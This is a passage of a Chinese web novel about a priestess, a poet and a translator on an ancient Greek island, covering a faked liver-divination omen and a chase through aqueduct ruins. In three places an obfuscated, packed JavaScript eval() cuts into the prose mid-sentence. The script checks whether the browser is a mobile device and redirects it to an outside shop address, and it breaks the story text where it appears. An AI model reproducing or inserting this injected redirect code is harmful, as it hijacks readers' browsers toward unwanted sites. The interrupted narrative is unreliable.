看到阿尔克提斯眼中一闪而过的动摇,利诺斯知道自己抓住了要害。他立刻换上一种更推心置腹的语气:“大祭司,我对信仰之争没兴趣。谁的神更古老,谁的故事更真实,那是哲学家和祭司们的工作。我是个实用主义者。我看重的是‘价值’和‘效果’。这里的一切,”他张开手臂,环顾发光石窟,“显然有着巨大的、未被认知的价值。而您,是唯一可能理解并引导这份价值的人。克里同想要政绩,我可以帮他‘发现’一些边角料,足够他炫耀,也足够转移他对这里真正核心的注意力。而您,可以获得时间,或许还能从我这里,得到一些关于‘钥匙’下落的……线索?” “线索?”阿尔克提斯眼神锐利如刀。 利诺斯从怀中慢条斯理地掏出一件小东西。不是钱袋,而是一枚黝黑的、似石非石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“等一下,告诉克里同,里拉是山民,即使有罪也需公审,如果他死了,我们不会罢休。”阿尔克提斯看了一眼伤痕累累的青年山民,对利诺斯警告。 利诺斯微笑点头,示意护卫带上那山民青年,毫不留恋地转身,朝着阿尔克提斯指出的缝隙快步走去,迅速消失在黑暗中。 打斗声很快平息,两名山民战士冲了进来,身上带伤,但眼神凶悍。“大祭司,解决了三个,跑了一个回去报信了!” 阿尔克提斯握紧那枚还带着利诺斯体温的黑色薄片,又看看手中发光的石板,最后望向那扇沉默的金属门。 余茶慢慢滑坐到地上,处理着脚踝绷带下渗出的新血迹。疼痛让她思绪异常清晰。一场危机看似暂时化解,但新的、更复杂的联盟与敌意已经埋下。利诺斯用一片不知真假的碎屑,买到了暂时的通行权和未来的潜在利益;阿尔克提斯用默许和一条出路,换来了可能的线索和应对克里同的缓冲时间。而她自己,在这场交易中,仿佛一件被暂时搁置、但标价未定的附属品。 她看着阿尔克提斯凝视薄片时那混合着渴望与忧虑的侧影,忽然想起毛姆某部小说里的一句话:“当一个人太想得到某样东西时,他往往已经付不起拒绝任何可能帮助的代价了。” 洞穴外的天色,应该快亮了吧。但余茶知道,在这座岛屿深处,在人心与古老谜团交织的迷雾里,真正的黎明,还远未到来。 13. 牺牲之脏与铜影 从“爱科谷”返回的第三天,克里同的耐心显然已经和港口气温一样,升到了危险的沸点。 地脉的哀鸣并未停歇,只是转化为了更隐蔽的低频震动,像病兽在巢穴深处粗重的喘息。港口新城的气氛紧绷如拉满的弓弦。克里同的士兵增加了巡逻,眼神里带着外乡人在陌生土地上特有的、混合着傲慢与心虚的凶狠。山民们则用沉默的侧目和更快的脚步回应,集市上的交易都透着一股匆忙完成、尽快散去的意味。港口很多船只都离开了,老水手说,这是被囚禁的泰坦发怒的前兆。 这天清晨,神庙前的空地上,飘起了焚烧橄榄木与昂贵乳香的烟雾。一场公开的牺牲占卜即将举行。 余茶的脚踝在阿尔克提斯草药的帮助下,肿胀消退了些,能勉强跛行。她被艾拉“请”到了现场一个不起眼的角落,美其名曰“观察仪式细节”。余茶知道,这是阿尔克提斯需要一双不受岛民敬畏之心蒙蔽的眼睛,去记录克里同的表演和可能存在的破绽。 空地中央已垒起石砌祭坛。一头精选的、毛色纯白的公羊被拴在一旁,温顺无知。克里同穿着正式的白袍,头戴桂冠,身旁站着一位从雅典带来的、面容枯瘦、眼神却异常精明的随军占卜师。几位明显已倒向克里同的本地富户和长老陪列在侧。围观者被士兵隔在外围,山民占了大半,脸上是压抑的怒意和深深的不安。 阿尔克提斯也在场,但她被礼貌而强硬地安排在了观礼席的次位,远离祭坛中心。她穿着大祭司常服,神色平静,双手交叠置于膝上,只有余茶从这个角度,能看到她右手食指在左手手背上极其缓慢地、有规律地敲击着——那不是随意的动作,更像是某种计算或默诵古老韵律的节奏。 “她在准备,或者在忍耐。”余茶心想。 克里同上前,例行公事地念诵了对奥林波斯众神,尤其是对雅典娜和宙斯的颂词,然后话锋一转:“……愿诸神庇佑此岛,澄清迷雾,平息不祥。今日以纯洁之牲,祈求神示:当以何种方式,方能恢复岛屿应有之秩序与繁荣?” 很聪明的问题。不提具体政策,只问“方式”,无论结果如何,他都能往对自己有利的方向解读。 占卜师示意助手。助手熟练地将公羊牵上祭坛,利落的一刀,温热的血涌进祭盆。羊被放倒,开膛。占卜师挽起袖子,在清水中净手,然后探入羊体,取出了仍在微微搏动的肝脏。 全场寂静,只有火焰燃烧的噼啪声。所有人的目光都聚焦在那块暗红色的脏器上。 占卜师将肝脏置于银盘,就着阳光和火光仔细端详。他的手指抚过肝叶表面,停顿,按压,翻看背面。时间一分一秒过去,他额角竟渗出了细密的汗珠。枯瘦的脸上,原本的笃定渐渐被一种难以置信的惊疑取代,甚至掠过一丝恐惧。 克里同察觉不对,低声催促:“占卜师?” 占卜师猛地抬头,看向克里同,眼神闪烁,又迅速低头再看肝脏,仿佛希望刚才所见是幻觉。他终于直起身,面对众人,声音干涩地宣布: “肝脏……‘神圣印记’区域晦暗,有……有数道不规则的黑色脉络侵入,贯穿了‘福祉’与‘稳定’之区。”他吞咽了一下,“更甚者……肝叶背面,‘根基’之处,有一处……异常的凹陷,形如……一只闭上的眼睛。” “嗡——”人群爆发出惊恐的议论。山民们脸色惨白,他们或许不懂所有术语,但“黑色脉络”、“闭上的眼睛”这些意象,足以触发最深的迷信恐惧。连那些富户和长老也面面相觑,不安地挪动脚步。 克里同的脸色瞬间阴沉如水。这绝不是他想要的“神示”!他强压怒火,追问:“此兆何解?” 占卜师汗如雨下,他瞥了一眼阿尔克提斯的方向,咬了咬牙,还是按照经典的解读方式说了:“此乃……不幸之兆。神意昭示,有根基本源的谬误,有不应被扰动的古老力量遭到触犯,正在反噬当下的秩序。若强行推进……恐有灾殃。” “根源谬误?古老力量?”克里同的声音几乎是从牙缝里挤出来,“占卜师是指,目前推行的秩序,是‘谬误’?还是指,这岛上有些‘古老’的东西,不该存在?”他的目光如冰刃般扫向阿尔克提斯。 阿尔克提斯就在这时,缓缓站了起来。 她的动作从容不迫,瞬间吸引了全场目光。她走到祭坛边,没有看克里同,而是对占卜师微微颔首:“能否让我看看?” 占卜师如蒙大赦,连忙将银盘递上,仿佛那是个烫手山芋。 阿尔克提斯接过银盘,并未像占卜师那样仔细摩挲,只是平静地凝视了片刻。然后,她抬起眼,目光清朗地扫过人群,最后落在克里同脸上。 “占卜师解读无误,确非吉兆。”她的声音清晰平稳,却带着一种奇特的穿透力,“然而,‘根源’何在?‘触犯’者谁?”她将银盘微微倾斜,让更多人能看到肝脏背面那个诡异的凹陷,“这只‘闭上的眼睛’,在古老的解读中,亦可称为‘沉睡的监察者’。它并非只因当下的冒犯而‘闭合’,更可能意味着……监察本身早已失序,真正的‘钥匙’或‘尺度’已然蒙尘。要知道我们祭祀千年,从未触怒神明,如今种种异象,与其说是对某项具体举措的惩罚,不如说是这失序的系统在无人正确掌管下的……不满。” 她的话像一块巨石投入本已翻腾的池塘。她在承认不祥的同时,巧妙地将“根源”从克里同的具体政策,转移到了一个更宏大、更古老、且无人能完全负责的“系统失序”上。同时,她点出了“钥匙”和“尺度”,这无疑指向了更深层的、她一直在追寻的秘密,而她们古老传承的崇高祭祀是唯一的解药。 克里同的脸一阵青一阵白。他听出了阿尔提克斯话中的机锋,却一时难以驳斥。他总不能说,自己比祭司更懂神谕和古老象征。 阿尔克提斯继续道,语气转为一种悲悯与郑重:“故此,当务之急,并非争论新旧,而是寻回维持平衡的‘真知’与‘方法’。我,作为侍奉此岛古老神灵的大祭司,将遵从此次神示,即日起去最古老的神庙祷祝,并尝试循古法探寻安抚怒气、厘清根源之道。在此期间,望科斯摩诸位与各位长老,以岛民安危为念,维持现状,共度时艰。” 以退为进,以神谕为盾,争取时间。余茶在角落里冷眼旁观,几乎要为阿尔克提斯这番操作喝彩。她不仅化解了克里同借凶兆发难的危机,还将自己接下来探寻“钥匙”和地脉真相的秘密行动披上了一层“遵从神意、拯救岛屿”的合法外衣。 克里同胸口剧烈起伏,他知道自己在这场公开的“神意”对决中落了下风。强行反对,便是公开违抗刚显示的神谕。他盯着阿尔克提斯,眼中杀机一闪而过,最终却挤出一个极其难看的笑容:“大祭司心系岛屿,深明大义。既然如此,便依神示,暂缓港务新例。望大祭司早日祷祝成功,以安神怒。”他特意加重了“早日”二字。 仪式在不祥的预感和暗流涌动的妥协中草草结束。人群散去,议论纷纷,恐惧与猜疑如同疫病般在岛上蔓延。 余茶被艾拉带回山腰住所。阿尔克提斯随后而至,她褪去祭服,脸上方才的悲悯庄重已消失无踪,只剩下深沉的疲惫与冷冽的决心。 “你看清了?”她问余茶,没头没尾。 “肝脏上的‘眼睛’凹陷?”余茶回想,“形状不自然,不像血管或病变。” “当然不自然。”阿尔克提斯从袖中取出一个小小的、几乎看不见的金属薄片,边缘锐利,形状正是那个“闭目”的抽象线条。“提前浸泡在一种特制草药汁里,沾上羊血后,颜色会渗入组织,看起来像天生脉络。趁占卜师第一次翻看,众人注意力在他脸上时……”她没有说下去,但意思明确。 余茶倒吸一口凉气。伪造神谕! 这是极其大胆渎神的行径,一旦被发现,万劫不复。但阿尔克提斯做了,而且成功了。为了争取时间,为了她心中更高的目标——寻找失落的真正神明的传承。信仰是她的旗帜,必要时,也可以是她的工具。余茶感到一阵寒意,对这个女人的敬畏与戒惧更深了一层。 “克里同不会善罢甘休,首席科斯摩的选举即将到来,我和他都是候选人,而我年资比他老。”阿尔克提斯收起薄片,“公开的神谕暂时约束了他,但他一定会用其他手段。我们必须更快。利诺斯给的黑色薄片,”她拿出那枚黑色椭圆薄片,“我仔细比对过,它边缘的磨损痕迹,与‘爱科谷’金属门上凹槽的某个局部,材质和工艺风格完全一致。它很可能就是钥匙的一部分。” “一部分?” “嗯。那凹槽过于复杂,不像一把钥匙能完成。更像是一个需要多部件组合的精密锁芯。”阿尔克提斯目光灼灼,“利诺斯只知道它可能是钥匙碎片,但他不知道需要多少片,如何组合。我们必须找到其他碎片,赶在克里同失去耐心直接动用武力破坏那扇门之前,也赶在……地脉下一次更剧烈的爆发之前。” 她看向余茶:“你的脚,还需要多久?” 余茶活动了一下左脚踝,刺痛仍在,但已能忍受。“不影响走路,只要别跑。” “很好。”阿尔克提斯展开一张粗糙的羊皮,上面是她根据记忆和零星记载绘制的岛屿简图,标着几个点,“根据石板上的七点图,以及家族残缺记录,除了‘爱科谷’,还有两处可能藏有线索:南湾的礁石迷宫,以及……山顶宫殿废墟的地下引水道入口。我们必须分头找。艾拉熟悉南湾地形,她去那里。而你,”她凝视余茶,“你跟我去宫殿废墟。” “为什么是我?”余茶问,语气是她惯常的、自我保护般的直接,“我对爬山和废墟没兴趣,更对当你的助手没兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226084|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣。我只想找到让我离开这个鬼地方的方法。” 阿尔克提斯似乎早就料到她会这么说,回答道:“因为你能‘看见’我们看不见的联系。在‘爱科谷’,是你指出了声音的‘底色’,找到了石板该放的位置。你对符号的反应,你的……‘不同’,在解读那些最古老的、非希腊的遗留物时,可能比我们这些被古老传统浸淫太久的人更敏锐。”她停顿一下,声音低了些,“而且,你说你想离开。那扇金属门后,或许没有直接送你回家的路,但很可能有关于这座岛屿本源神明的记录。理解它,可能是你找到方法的前提。我们目标不同,但路径暂时一致。” 很实际,没有用情怀绑架,而是摆出了利害与可能性。这反而让余茶稍微安心。她也喜欢可衡量的交易或清晰的共同利益,总比虚无缥缈的承诺更实在。 “什么时候出发?”余茶问。 “入夜。”阿尔克提斯望向窗外逐渐偏西的日头,“白天太多眼睛。我们需要夜色掩护。准备一下,穿结实些的鞋,带上水。我们可能要在废墟里待上一整夜。” 余茶点点头,没再多话。她回到自己暂住的小屋,检查了一下所剩无几的个人物品:羊皮纸卷、一点硬饼、水囊。她将脚上的旧凉鞋换成从山民那里换来的一双更合脚、包裹性更好的旧皮靴,和艾拉要了个厚牛皮口袋、一些厚一些的结实麻布和敷脚的草药。她把过于宽大的希顿下摆用布条紧紧扎起。对余茶来说,安全感的来源,在此刻具象化为一双能走路的鞋,一口能喝的水,和一个明确却危险的行动目标。 夜幕如期降临,浓重如墨。阿尔克提斯换上了一身深色的短装,外面罩着不起眼的斗篷,仍是一副猎装打扮。她递给余茶一件类似的深色斗篷和一根打磨光滑的木棍作手杖。 两人没有走大路,而是潜入山林,沿着陡峭隐蔽的小径向山顶进发。月光被云层时遮时露,林间光影诡谲。远处港口的方向,偶尔传来模糊的号令或犬吠,更添夜的深邃与不安。 爬了约一个多时辰,气喘吁吁的余茶终于跟着阿尔克提斯钻出一片密林,眼前豁然开朗。 山顶,米诺斯宫殿的废墟,在惨淡的月光下露出了它庞大而沉默的轮廓。残破的巨石墙体像巨兽的骨骼,倾颓的柱廊投下长长的、扭曲的阴影。夜风吹过空荡的厅堂和走廊,发出呜呜的怪响,仿佛是那个失落文明最后的叹息。这里比“爱科谷”更空旷,也更死寂,一种时间的重量沉甸甸地压在心口。 阿尔克提斯点燃了一根火把,火光只能照亮前方几步。“跟我来,小心脚下,到处都是碎石和塌陷。” 她们在迷宫般的废墟中穿行,阿尔克提斯似乎对这里颇为熟悉,绕过主殿区域,走向宫殿西北侧一片地势较低、更显杂乱残破的区域。那里有一个被巨大倒塌石梁半掩的、向下的狭窄入口,黑洞洞的,像一张渴望吞噬的嘴。 “就是这里,古代引水道的检修入口之一。”阿尔克提斯用灯照了照,“记载中提到,最初的建造者们,会把重要的‘备份’或‘校正记录’,藏在水道枢纽附近的密室里,以防宫殿主体被毁。” 她正要弯腰进入,动作却突然僵住,手中的火把猛地转向右侧一片断墙的阴影。 “谁在那里?”她低声厉喝,示意余茶躲在她身后,另一只手已握住了包铜长棍。 断墙后,传来一声熟悉的、带着慵懒笑意的叹息。 “哎呀呀,看来今夜月色太好,适合散步的……不止二位啊。” 利诺斯从阴影里缓步走出,手里提着一盏防风灯。他依旧穿着那身旅行斗篷,身上沾着草屑,淡琥珀色的眼睛在灯光下闪烁着饶有兴味的光芒,仿佛只是偶然邂逅了一场有趣的夜游。 “诗人真是雅兴,”阿尔克提斯的声音冷得像脚下的石头,“散步散到这荒山废墟里来了。” “灵感,大祭司,灵感需要最原始的土壤。”利诺斯笑着,目光却越过她,落在后面那个黑黢黢的入口,“况且,我这个人,对‘水道’啊,‘源头’啊这类东西,总是特别好奇。尤其当它们可能指引向……一把破碎的‘钥匙’的其他部分时。” 空气瞬间凝固。 他知道。他不仅知道钥匙是破碎的,甚至可能知道其他碎片的下落,或者,他一直在跟踪她们。 阿尔克提斯的指节捏得发白。余茶却开始怀疑利诺斯的真正目的,作为一个享乐主义者,他似乎对米诺斯祭司的秘密过于好奇了,而且他还暗示过自己也是山民一脉,阿尔克提斯对她有太多隐瞒,已经逐渐加大了她遭遇死亡危险的可能性,她需要想办法重新掌握主动权,至少是部分主动权,而不是当个工具人。 夜色中的废墟之上,三个各怀目的的人,在金属门钥匙的阴影下,再次狭路相逢。而这一次,脆弱的平衡恐怕已难维持。 14. 废墟下的三重奏 利诺斯手中的灯光,在废墟巨大而沉默的阴影里,显得格外渺小,却又像一枚投入死水潭的石子,瞬间激起了致命的涟漪。 阿尔克提斯握紧长棍,身体紧绷如即将扑击的母豹,声音却压得极低,带着废墟夜风般的寒意:“诗人似乎对散步的路线,总是有着超乎寻常的预见性。” “巧合,大祭司,纯粹是命运的巧合。”利诺斯笑着摊开空着的那只手,姿态放松,眼神却像探针一样扫过她们身后的水道入口,“就像我恰巧知道,有些古老的故事,喜欢把最重要的章节藏在最潮湿、最不起眼的角落。比如……供水系统的图纸里?” 他看似随意的话语,却精准地点破了她们的目的——水道图纸或记录,很可能就含有“钥匙”部件的线索。 他知道的远比表现出来的多。余茶站在阿尔克提斯侧后方,脚踝的隐痛让她保持着清醒的刺痛感。利诺斯的出现绝非偶然,他要么一直暗中跟踪,以他的身手和对地形的熟悉,并非不可能,要么就是通过别的渠道——比如从那个被俘的山民青年口中,或是在克里同那里看到了更多资料——得出了与阿尔克提斯相似的结论。无论是哪种,都意味着她们的行动不再隐秘,而眼前的诗人,是一个无法预测的变数。 “图纸也好,故事也罢,都属于这座岛的记忆。”阿尔克提斯没有否认,反而上前半步,挡在了入口前,形成一种无声的宣告,“外人过度解读,恐怕会误解其意,甚至……惊醒不该醒的东西。” “哦?”利诺斯挑眉,笑容里掺入一丝玩味的挑衅,“大祭司是说,像我这样四处漂泊、没有‘根’的人,不配理解这种‘记忆’?还是说,您担心我理解得太好,以至于……抢了先?” 他顿了顿,目光若有似无地飘向余茶,“毕竟,翻译古老符号,拼凑失落信息,有时候需要的不是深厚的传统,而是一双……没有被传统预设所蒙蔽的眼睛。您说对吗,抄写员?” 他在挑拨,也在展示筹码。他暗示具备“解读”能力的余茶是他带过来的,试图在阿尔提克斯和她之间制造一丝疑虑,同时也在表明自己的“解读”能力也不低。 余茶没有接话。她讨厌被当作谈判的筹码或比较的对象。在帝都的翻译市场,她最烦的就是客户拿别的译者报价来压价。她的自信来自于对自身价值的绝对掌控,而非在别人的天平上被称量。她只是微微侧头,对阿尔克提斯用仅有两人能听到的音量快速说:“他在拖延。要么等同伙,要么在试探我们知道的有没有他多。” 阿尔克提斯几不可察地点了下头。她不再与利诺斯进行言语机锋的纠缠,直截了当:“说出你的目的,利诺斯。今夜,在这里。” 利诺斯收敛了些许笑容,淡琥珀色的眼睛在灯光下显得认真了些——尽管那认真可能依旧是另一种表演。“我的目的从未改变,大祭司。有趣的故事,有价值的发现。我对统治岛屿或复兴古老信仰毫无兴趣。但门后的东西,显然是一个超越了当前任何岛争的、更大的‘故事’。我想参与,想见证,甚至……想分一杯属于‘发现者’的羹。我可以提供帮助——比如,我知道克里同的书记官正在秘密整理从岛上各处收缴的‘古物’,其中有一些奇特的金属碎片,被记录为‘无用的装饰残件’。又比如,”他看向黑黢黢的水道入口,“我对迷宫般的黑暗,有着不错的方向感。” 用“克里同也在找”威逼,用“他有碎片线索和能力”利诱。条件开得赤裸而实际。 “帮助?”阿尔克提斯冷笑,“你的‘帮助’代价高昂,且随时可能转向。祭祀台上的‘意外’代价,我们还没清算。” “那是一次……各取所需的交易。”利诺斯面不改色,“克里同得到了发难的借口,您得到了警惕和动员的理由,而我,得到了一点微不足道的跑腿费和一个观察局势变化的有趣视角。看,现在我们都站在了这里,面对真正核心的问题。过去的枝节,不妨暂时搁置?” 他的无耻和理直气壮,让余茶都感到一阵无语。能把背叛和算计说得如此清新脱俗,仿佛只是完成了一场公平的文艺演出,脸皮肯定是厚如城墙角了。 阿尔克提斯沉默了片刻。夜风吹过废墟,发出呜咽般的回响。远处港口方向,隐约又传来一声沉闷的、像是重物落水的声响,但很快沉寂下去。地底的嗡鸣似乎也在随着他们的对峙而微微起伏。 “你可以跟着,”阿尔克提斯终于开口,声音冰冷,“但走在我后面。任何轻举妄动,我会先解决你,再考虑门后的东西。” 这是她权衡后的妥协。利诺斯知道得太多,此刻杀他或赶走他,不是丧失线索就是会立即招致克里同的全面干预。带着他,虽是风险,却也暂时将他置于眼皮底下,或许还能利用他的知识和线索。 利诺斯优雅地躬身,做了个“您先请”的手势,脸上恢复了那种漫不经心的笑意:“明智的选择。请放心,在故事达到高潮前,我对破坏剧情毫无兴趣。” 阿尔克提斯不再看他,举着火把率先弯腰钻进了那低矮的水道入口。余茶紧随其后,利诺斯则保持着几步距离,跟在了最后。 入口内是一条倾斜向下的、粗糙凿刻的甬道,仅容一人勉强通行。空气瞬间变得潮湿阴冷,弥漫着浓重的尘土味、苔藓的腥气,以及一种淡淡的、类似金属锈蚀的气息。脚下是湿滑的、布满碎石的斜坡。石壁上有明显的水流侵蚀痕迹,但此刻是干的,只有偶尔从头顶岩缝渗下的水滴,发出单调的“滴答”声。 阿尔克提斯走得很慢,用火把仔细扫过两侧石壁。余茶也努力睁大眼睛,寻找任何人工刻痕或符号。利诺斯在后面很安静,只有他的脚步声和衣物摩擦石壁的窸窣声,提示着他的存在。 走了约莫一刻钟,甬道逐渐变宽,并入了一个较为开阔的地下蓄水池。池子早已干涸,底部积着厚厚的淤泥和碎石。池壁由规整的石块砌成,保存相对完好。几条不同方向的狭窄水道口像黑暗的喉管,从不同方向汇入这里。 “枢纽。”阿尔克提斯低声道,举起灯照向四周池壁的上方。 灯光掠过之处,余茶突然发现,在靠近东北角水道的拱券上方,石壁上似乎有一些非自然形成的刻痕。她眯起眼:“那里!” 阿尔克提斯将火光聚焦过去。那是一组刻在石头上的符号,比“爱科谷”岩壁上的发光脉络要简陋、古拙,但也明显属于同一种风格。符号由几个螺旋、一些点,和一道波浪线组成,波浪线的一端,指向那个东北方向的水道口。 “是标记,也是指示。”阿尔克提斯仔细辨认,“‘循水之脉,抵源之眼’……或者‘眼之源头’?后面这个符号……”她指向波浪线末端一个有点像简化牛头或双斧的标记,“是‘守卫’或‘关键节点’的意思。” “看来,我们得钻那条水道了。”利诺斯在后面说,语气听不出情绪。 东北方的水道口比进来的那条更窄、更低矮,需要完全匍匐才能进入。阿尔克提斯毫不犹豫地熄灭火把,命令利诺斯将灯递给余茶:“让她拿着灯,避免掉队。”她自己则抽出腰间的匕首,咬在口中,准备率先爬进去。 就在她俯身的那一刻,异变突生! 整个地下空间,毫无征兆地剧烈震动起来。比之前任何一次都要猛烈。碎石和尘土从头顶簌簌落下,干涸的池底淤泥被震出波纹。同时,一种尖锐的、仿佛金属扭曲断裂的嘶鸣声从地底深处传来,瞬间刺痛耳膜! “地脉又发作了!”阿尔克提斯惊呼,勉强稳住身形。 余茶手里的灯剧烈摇晃,光影乱舞。她背靠池壁,心脏狂跳,鸡皮疙瘩爬满了胳膊和脸颊。这震动比以往都强,而且那声音……充满了不祥。 震动持续了约十几秒,才缓缓平息。但余茶感觉到,脚下传来的那种低频嗡鸣,变得更加清晰、更加躁动,仿佛什么东西被彻底激怒了,正在加速奔流。 灰尘尚未落定,利诺斯忽然开口,声音里第一次失去了那种游刃有余的轻松,带着一丝紧绷:“你们听……什么声音?” 死寂中,一阵新的声音传来——不是来自地底,而是来自他们来的方向。是杂乱的脚步声、金属碰撞声,还有人的呼喝声,正迅速由远及近。 有人进来了。而且人数不少! “克里同的人?!”余茶看向阿尔克提斯。 阿尔克提斯脸色铁青,迅速判断:“可能是被刚才的震动惊动,也可能是他早就派人盯梢,不能待在这里!” 这蓄水池是个死地,一旦被堵住入口,无处可逃。 她目光决绝地看向那条狭窄的东北水道。“只能进去!快!” 她一把夺回余茶手中的灯,率先向那黑黢黢的水道口爬去,动作迅捷得不像穿着累赘衣袍。余茶不敢犹豫,忍痛跟上。利诺斯这次没有丝毫废话,紧随余茶之后也钻了进去。 水道内更加狭窄逼仄,只能靠肘部和膝盖发力,一点点向前挪动。粗糙的石壁刮擦着身体,灰尘呛人。身后,追兵的声音已经清晰可闻,火把的光亮在蓄水池口晃动。 “他们在那里!追!” 一声陌生的厉喝传来。 爬行变得疯狂而绝望。阿尔克提斯在前方奋力开路,灯光在狭窄空间里疯狂跳动。余茶脑子里一片空白,只剩下机械的爬行动作和脚踝处一阵阵袭来的、几乎让她晕厥的剧痛。 不知道爬了多久,前方突然传来阿尔克提斯压低的声音:“到头了。有个向上的竖井!” 余茶奋力爬出水道口,发现身处一个更小的、像是垂直维修井的底部。上方有微弱的天光透下,井壁有粗糙的凿坑可供攀爬。但井口似乎被什么东西半掩着。 追兵的声音和水道里爬行的摩擦声已经近在咫尺。 阿尔克提斯将灯塞给刚爬出来的利诺斯:“照亮!” 她将匕首插回腰间,深吸一口气,抓住凿坑开始向上攀爬。她的动作矫健,很快接近井口,用力推开了半掩的、像是石板的东西。 月光涌入。 阿尔克提斯率先爬了出去,立刻回身伸手:“快!” 余茶抓住她的手,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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利诺斯是最后一个。他回头看了一眼已经冲出竖井、挥舞着火把刀剑扑来的五六名士兵,嘴角居然扯出一丝近乎疯狂的笑意。“真是……刺激的夜晚。” 他低声自语,然后也踏上了石梁,动作竟比阿尔克提斯还要从容几分。 三人险之又险地刚刚到达对面石峰,追兵也已到了石梁对面。为首的军官试图踏上石梁追击,但石梁狭窄湿滑,海风呼啸,他尝试一步便重心不稳,吓得连忙退回,气急败坏地吼道:“放箭,射死他们!” 几名士兵举起弓箭。但石梁跨度不小,夜色深沉,海风干扰,箭矢歪歪斜斜地射来,大多落入深渊或撞在石峰上,只有一支擦着阿尔克提斯的肩膀飞过,划破了斗篷。 石峰面积不大,顶部较为平坦,有一些人工垒砌的矮墙遗迹,像是一个古老的、简陋的观测台或哨所。但三面是悬崖,一面是绝路石梁,他们被困在了这里。 阿尔提克斯靠在矮墙后,喘息着,检查了一下肩膀的擦伤,不深。她看向对面火把映照下的人影,又看了看脚下黑暗中咆哮的大海和远处隐约的港口灯火。 余茶瘫坐在地上,浑身脱力,脚踝的疼痛和刚才极度的恐惧让她微微发抖。她看着对面叫嚣的士兵,又看看身边这两个临时绑在一起的“同伴”——一个是为了信仰和权力可以赌上一切的女祭司,一个是为了“有趣”可以出卖任何人的享乐诗人。这真是她二十六年人生中,最荒谬、最危险的一刻。 利诺斯却似乎很适应这种绝境,他甚至有闲心整理了一下被刮破的斗篷。“现在,”他喘匀了气,看向阿尔克提斯,眼里跳动着奇异的光,“我们算是真正意义上的……盟友了,大祭司。或许,可以开诚布公地谈谈合作了?比如,如何离开这个风景不错但不太友善的石台?” 阿尔克提斯没有立刻回答。她望着对面,火光映在她深邃的眸子里。追兵暂时过不来,但他们也下不去。僵持下去,等克里同调来更多人手,或者干脆用火箭覆盖这小石峰,他们就是死路一条。 她收回目光,看向余茶,又看向利诺斯,最终,她的视线落在了石峰中央一块略微凸起、形状规整的石板上。 “合作可以。”她声音沙哑却清晰,“但在那之前,先把眼前的东西弄清楚。”她走过去,拂去石板上的尘土和苔藓。 石板上,刻着一副简陋但清晰的岛屿轮廓图,以及七个清晰的刻点。其中一个点,正是他们所在的石峰位置。而在代表石峰的这一点旁,刻着一个符号——一个螺旋中心带点的眼睛,与铜杯内的“监察者之印”几乎一模一样,但线条更加古老、粗犷。 在图案下方,还有一行极小的、几乎被岁月磨平的米诺斯线形文字A的刻痕。 阿尔克提斯的手指颤抖着抚过那些文字,她认不全,但能勉强拼出几个音节。 余茶挣扎着挪过去,借着微弱的星光和对面火把的余光,仔细辨认。那些曲折的线条在她眼中,逐渐与之前翻译过的碎片文献、羊皮纸上的记述产生模糊的关联。她皱紧眉头,尝试拼读、联想。 “这……这好像不是地图说明……”她喃喃道,声音因紧张和用力而发干,“这更像是一句……操作提示,或者状态描述。”她抬起头,看向阿尔克提斯和利诺斯,眼中映着对面跳跃的火光,说出她推测的释义: “‘当七眼皆暗,循此脉,可启最后的校准……或……封印?’” 15. 七眼皆暗 余茶的声音在呼啸的海风和对岸士兵的叫骂声中,显得微弱却清晰,像一根冰冷的针,刺破了绝境下的狂躁。 “‘当七眼皆暗,循此脉,可启最后的校准……或……封印?’” 阿尔克提斯猛地转头,目光如炬,死死盯住石板上的刻痕,又迅速扫向那七个点。“七眼……七个节点!”她的呼吸变得急促,“爱科谷的潭水是一个,这里是第二个……港口、旧矿坑、泉眼、宫殿主厅……还有南湾礁石迷宫,正好七个!” 利诺斯也收起了那副玩世不恭的神情,蹲下身,手指虚点着石板上的岛屿轮廓:“‘皆暗’……意思是全部失去作用?还是……全部处于某种‘沉睡’或‘关闭’状态?”他抬头,看向对面主崖上晃动的火把,火光映在他淡琥珀色的瞳孔里,跳动着算计的光芒,“现在地脉紊乱,哀鸣不止,这可一点也不像‘暗’。” “或许‘暗’不是指停止,而是指……失去正确的‘监察’或‘调节’。”阿尔克提斯的声音带着一种豁然开朗的颤抖,“就像‘爱科谷’,那个节点因为‘监察者之印’被破坏而失控,但它本身还在疯狂‘运转’,只是方式错误。其他节点,恐怕也因各种原因——时间、破坏、人为干扰——处于类似的‘失准’状态。所以整个系统在痛苦地哀鸣,而不是平静地‘沉睡’。” 她指向石板刻痕中连接七个点的那条曲折细线:“‘循此脉’……这条线,不是地图上的常规路径。它连接七个点的顺序很古怪,不是最短距离,似乎遵循着某种……能量流动的特定顺序?或者,是启动某个程序的步骤?” 余茶忍着脚踝的剧痛,大脑在恐惧和冰冷的分析欲之间强行运转。“‘校准’或‘封印’……”她重复着这两个截然不同的选项,“这意味着,那个‘最后的’东西,可能有两种用途。要么修复整个系统,要么……彻底关闭它,一劳永逸地‘封印’掉这个不稳定的根源。” 她看向阿尔克提斯,“你的祖先,没留下关于这个选择的提示吗?” 阿尔克提斯摇头,眼中闪过一丝罕见的迷茫与沉重:“没有。传承在这里断裂了。或许,选择本身,就是最后的考验,或者……取决于启动者面对的具体情况。” 